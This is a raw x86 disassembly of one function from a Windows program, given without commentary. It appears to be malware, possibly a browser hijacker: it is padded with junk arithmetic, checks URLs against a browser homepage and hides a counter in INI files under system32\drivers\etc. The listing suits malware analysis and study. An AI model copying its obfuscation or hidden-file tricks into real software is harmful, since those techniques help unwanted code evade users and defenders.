mov eax, 0xfe03f81
imul dword [0x451a78]
sar edx, 4
mov ecx, esi
imul ecx, ecx, 0xe8
mov dword [ebp - 0x10e0], ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a68]
sub ecx, eax
sub ecx, edx
mov edx, dword [0x451a6c]
lea eax, [ecx + edx + 0x21b]
mov edx, dword [0x442a1c]
mov dword [str._r_____r_____n], eax
xor eax, eax
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [str.fdfdadsafdfghfjkt]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x442a20]
mov dword [ebp - 0x4c4], ecx
mov ecx, dword [0x442a24]
mov dword [ebp - 0x4b8], ecx
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4c0], edx
mov dx, word [0x442a28]
xor eax, eax
mov word [ebp - 0x4b4], dx
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, dword [ebp - 0x10e0]
mov eax, 0x577f7cc1
imul dword [0x451a6c]
mov eax, dword [0x451a7c]
imul eax, eax, 0x21e
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x451a70]
add ecx, eax
sub ecx, edi
sub ecx, edx
add ecx, 0x33e
mov edi, ebx
mov dword [0x451a68], ecx
lea eax, [edi + 1]
mov dl, byte [edi]
inc edi
test dl, dl
jne 0x412e80
sub edi, eax
mov dword [ebp - 0x10e0], edi
je 0x412fce
push str.http:__
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
jne 0x412fad
push str.HTTP:__
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
jne 0x412fad
push str.www.
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
jne 0x412fad
push str.WWW.
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
jne 0x412fad
push str..COM
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
jne 0x412fad
push str..com
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
jne 0x412fad
push str..NET
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
jne 0x412fad
push str..net
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
jne 0x412fad
push str..ORG
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
jne 0x412fad
push str..org
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
jne 0x412fad
push 0x4429d4
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
jne 0x412fad
push 0x4429d0
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
jne 0x412fad
push str..htm
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
jne 0x412fad
push str..HTM
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
je 0x412fc2
push ebx
lea ecx, [ebp - 0x4c4]
push 0x4429b8
push ecx
call fcn.0042561a
add esp, 0xc
mov ecx, dword [0x451a68]
mov esi, dword [0x451a84]
mov eax, 0xfe03f81
imul esi, esi, 0xe8
imul dword [0x451a78]
sar edx, 4
mov eax, edx
shr eax, 0x1f
push str.C:WINDOWS_system_sdax.txt
add eax, edx
push 0x400
sub esi, eax
lea eax, [ebp - 0x8c4]
push eax
sub esi, ecx
mov ecx, dword [0x451a6c]
push 0x441e2d
push str.rtgbh
lea edx, [esi + ecx + 0x21b]
push str.asdf
mov dword [str._r_____r_____n], edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test ebx, ebx
je 0x413144
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413033
sub eax, edx
mov dword [ebp - 0x10e0], eax
je 0x413144
mov edi, 0x4420b4
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x413144
lea eax, [ebp - 0x144]
push eax
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
jne 0x4130db
lea ecx, [ebp - 0x144]
push ebx
push ecx
call fcn.00425e30
add esp, 8
test eax, eax
jne 0x4130db
mov edi, str.http:__i.maxthon.cn_
mov esi, ebx
lea ecx, [ecx]
mov dl, byte [esi]
mov cl, byte [edi]
mov al, dl
cmp dl, cl
jne 0x4130b8
test al, al
je 0x4130b4
mov cl, byte [esi + 1]
mov dl, byte [edi + 1]
mov al, cl
cmp cl, dl
jne 0x4130b8
add esi, 2
add edi, 2
test al, al
jne 0x413090
xor eax, eax
jmp 0x4130bd
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4130db
lea edx, [ebp - 0x4c4]
push edx
lea eax, [ebp - 0x8c4]
push eax
call fcn.00425e30
add esp, 8
test eax, eax
je 0x4130ef
lea ecx, [ebp - 0x1c4]
push ecx
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
je 0x413144
mov ecx, dword [0x451a78]
mov esi, dword [0x451a6c]
mov eax, 0xae4c415d
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x2053e08b
imul esi
sub edx, esi
mov esi, dword [0x451a7c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a84]
sub eax, edi
sub eax, esi
lea eax, [eax + edx - 0xd2]
mov dword [0x451a6c], eax
jmp 0x4131ce
push 0
call fcn.004256ff
mov edx, dword [0x563e10]
mov ecx, dword [0x451a70]
mov dword [0x563e0c], eax
add esp, 4
inc edx
mov dword [0x563e10], edx
mov eax, 0x577f7cc1
imul ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x451a74]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
mov ecx, dword [0x451a84]
sar edx, 7
imul ecx, ecx, 0xd9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
sub eax, ecx
mov ecx, dword [ebp - 0x110c]
add eax, 0x506
mov dword [0x451a74], eax
mov eax, dword [ebp - 0x10d4]
mov edx, dword [eax]
push ecx
push eax
call dword [edx + 0x9c]
mov ecx, dword [0x451a78]
mov esi, dword [0x451a7c]
mov edi, dword [0x451a80]
imul esi, esi, 0xfffffefe
mov eax, 0xa29ecf17
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov ebx, dword [ebp - 0x10cc]
mov eax, 0x43b3d5b
imul edi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r_____n]
sub esi, eax
add esi, edx
test ebx, ebx
mov edx, dword [0x451a64]
lea esi, [edx + esi - 0xd8]
mov dword [0x451a64], esi
je 0x4136a2
mov eax, ebx
lea edx, [eax + 1]
mov dword [ebp - 0x10cc], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x413235
sub eax, dword [ebp - 0x10cc]
mov dword [ebp - 0x10cc], eax
je 0x4136a2
mov eax, 0x7a0a7ce7
imul ecx
mov ecx, dword [0x451a68]
sar edx, 8
imul ecx, ecx, 0x21e
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a74]
imul edx, edx, 0x79
sub ecx, eax
add ecx, edi
lea eax, [edx + ecx + 0x215]
push 0xffffffffffffffff
push 0x564f90
lea ecx, [ebp - 0x1138]
mov dword [0x451a70], eax
call fcn.00405d50
mov ecx, dword [0x451a68]
mov esi, dword [0x451a74]
mov eax, 0xdfac1f75
imul esi, esi, 0xab
imul ecx
add edx, ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r_____n]
sub esi, ecx
imul edx, edx, 0x125
lea edi, [esi + edx - 0xd8]
mov byte [ebp - 4], 7
mov dword [0x451a7c], edi
mov esi, 0x564788
mov eax, ebx
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x413305
test cl, cl
je 0x413301
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x413305
add eax, 2
add esi, 2
test cl, cl
jne 0x4132e1
xor eax, eax
jmp 0x41330a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x413681
mov ecx, dword [0x451a6c]
imul edi, edi, 0x21e
mov esi, dword [0x451a84]
mov eax, 0x577f7cc1
imul ecx
sar edx, 8
mov eax, esi
imul eax, eax, 0xe8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add ecx, edi
mov edi, dword [0x451a70]
sub ecx, eax
sub ecx, edi
mov eax, ebx
add ecx, 0x33e
lea edx, [eax + 1]
mov dword [0x451a68], ecx
mov dword [ebp - 0x10cc], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x413360
sub eax, dword [ebp - 0x10cc]
cmp eax, 0x800
jae 0x41338c
mov edx, ebx
mov esi, 0x564788
jmp 0x413380
mov al, byte [edx]
inc edx
mov byte [esi], al
inc esi
test al, al
jne 0x413380
jmp 0x4133f5
mov ecx, dword [0x451a74]
imul esi, esi, 0xd9
mov eax, 0x577f7cc1
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ecx, edi
sub ecx, esi
add ecx, 0x506
push 0x7ff
mov dword [0x451a74], ecx
xor eax, eax
push ebx
mov ecx, 0x200
mov edi, 0x564788
push 0x564788
rep stosd dword es:[edi], eax
call fcn.00426160
mov ecx, dword [0x451a68]
add esp, 0xc
mov esi, dword [0x451a80]
mov eax, 0xae4c415d
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a78]
imul edx, edx, 0x2ed
sub edx, eax
mov eax, dword [0x451a64]
imul eax, eax, 0x219
add edx, eax
sub edx, ecx
add edx, 0x1eb
mov eax, 0x563e88
mov dword [0x451a80], edx
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413440
sub eax, edx
cmp eax, 5
jbe 0x413681
push str.ConfigL6
push ebx
call fcn.00415a70
add esp, 8
test eax, eax
jne 0x413681
mov ecx, dword [0x451a74]
mov esi, dword [0x451a7c]
mov eax, 0x7a0a7ce7
imul esi, esi, 0x2ed
imul ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x451a6c]
imul edx, edx, 0x21e
mov edi, ecx
mov ecx, dword [str._r_____r_____n]
sub edi, esi
add edi, edx
mov eax, 0xa29ecf17
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, 0xd8
push 0x132b600
mov dword [0x451a84], edi
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 4
xor esi, esi
cmp esi, 0x64
jge 0x413539
mov ecx, dword [0x451a78]
mov eax, 0xfe03f81
imul ecx
mov eax, dword [0x451a6c]
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x451a84]
imul edx, edx, 0xe8
sub edx, ecx
sub edx, dword [0x451a68]
lea ecx, [edx + eax + 0x21b]
push 0x64
mov dword [str._r_____r_____n], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x563e88
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413525
sub eax, edx
mov dword [ebp - 0x10cc], eax
je 0x413539
inc esi
jmp 0x4134d3
mov ecx, dword [0x451a6c]
mov eax, 0x577f7cc1
imul ecx
mov ecx, dword [0x451a7c]
sar edx, 8
imul ecx, ecx, 0x21e
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a84]
imul edx, edx, 0xe8
add eax, ecx
mov ecx, dword [0x451a70]
sub eax, edx
sub eax, ecx
push str.C:WINDOWS_system32driversetc_service5.ini
add eax, 0x33e
push 0x800
mov dword [0x451a68], eax
lea eax, [ebp - 0x10c4]
push eax
push 0x441e2d
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [0x451a78]
mov eax, 0x7a0a7ce7
imul ecx
mov eax, dword [0x451a74]
mov edi, dword [0x451a80]
imul eax, eax, 0x79
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x451a68]
imul edx, edx, 0x21e
sub edx, ecx
add edx, edi
lea ecx, [eax + edx + 0x215]
lea edx, [ebp - 0x10c4]
push edx
mov dword [0x451a70], ecx
call fcn.004256fa
inc eax
push eax
lea eax, [ebp - 0x10c4]
push 0x441dec
push eax
call fcn.0042561a
add esp, 0x10
push str.C:WINDOWS_system32driversetc_service5.ini
lea ecx, [ebp - 0x10c4]
push ecx
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [0x451a68]
mov esi, dword [0x451a70]
mov eax, dword [0x451a6c]
imul esi, esi, 0xd9
mov edx, ecx
imul eax, eax, 0x102
imul edx, edx, 0x193
sub esi, edx
add esi, eax
mov eax, 0x43b3d5b
imul ecx
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov dword [0x451a78], esi
mov esi, dword [0x563e80]
inc esi
push 0
mov dword [0x563e80], esi
call fcn.004256ff
add esp, 4
mov dword [0x563e84], eax
lea ecx, [ebp - 0x1138]
mov byte [ebp - 4], 6
call fcn.00405e00
mov ecx, dword [0x451a78]
mov esi, dword [0x451a64]
mov edi, dword [0x451a80]
mov eax, 0xae4c415d
imul ecx, ecx, 0x2ed
imul esi, esi, 0x219
imul edi
add edx, edi
mov edi, dword [0x451a68]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, esi
sub ecx, edi
add ecx, 0x1eb
push ecx
mov dword [0x451a80], ecx
mov ecx, dword [ebp - 0x10c8]
mov eax, esp
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov dword [ebp - 0x10cc], esp
je 0x4136fa
mov edx, dword [eax]
push eax
call dword [edx + 4]
mov ecx, 0x563b20
call fcn.00407130
mov ecx, dword [0x451a78]
mov esi, dword [0x451a7c]
mov eax, 0xa29ecf17
imul esi, esi, 0xfffffefe
imul ecx
add edx, ecx
mov ecx, dword [0x451a80]
sar edx, 8
mov edi, dword [str._r_____r_____n]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x43b3d5b
imul ecx
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x451a64]
sub esi, ecx
mov ecx, dword [ebp - 0x10c8]
add esi, edi
lea eax, [edx + esi - 0xd8]
push 0
push ecx
mov dword [0x451a64], eax
call fcn.00418ec0
mov ecx, dword [0x451a78]
mov esi, dword [0x451a6c]
mov eax, 0xae4c415d
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x2053e08b
imul esi
sub edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a7c]
sub eax, edi
add esp, 8
sub eax, edx
mov edx, dword [0x451a84]
lea eax, [eax + edx - 0xd2]
mov dword [0x451a6c], eax
mov edx, dword [0x451a70]
mov esi, dword [0x451a74]
mov eax, 0x577f7cc1
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x8d3dcb09
imul esi
add edx, esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a84]
imul edx, edx, 0xd9
sub eax, edi
sub eax, edx
add eax, 0x506
mov dword [0x451a74], eax
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 5
je 0x413824
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x451a78]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 4
je 0x41383e
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x451a78]
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov byte [ebp - 4], 2
je 0x413858
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x451a78]
mov eax, dword [ebp - 0x10d0]
test eax, eax
mov byte [ebp - 4], 1
je 0x413872
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x451a78]
mov eax, dword [ebp - 0x10f4]
mov edi, dword [0x451a84]
mov ebx, dword [0x451a68]
inc eax
mov dword [ebp - 0x10f4], eax
jmp 0x411d74
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 0
je 0x4138a4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [0x451a68]
mov ecx, dword [0x451a74]
mov eax, 0xdfac1f75
imul ecx, ecx, 0xab
imul esi
add edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [str._r_____r_____n]
imul eax, eax, 0x125
lea ecx, [ecx + eax - 0xd8]
mov eax, dword [ebp - 0x10e4]
mov dword [0x451a7c], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.00424ef1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret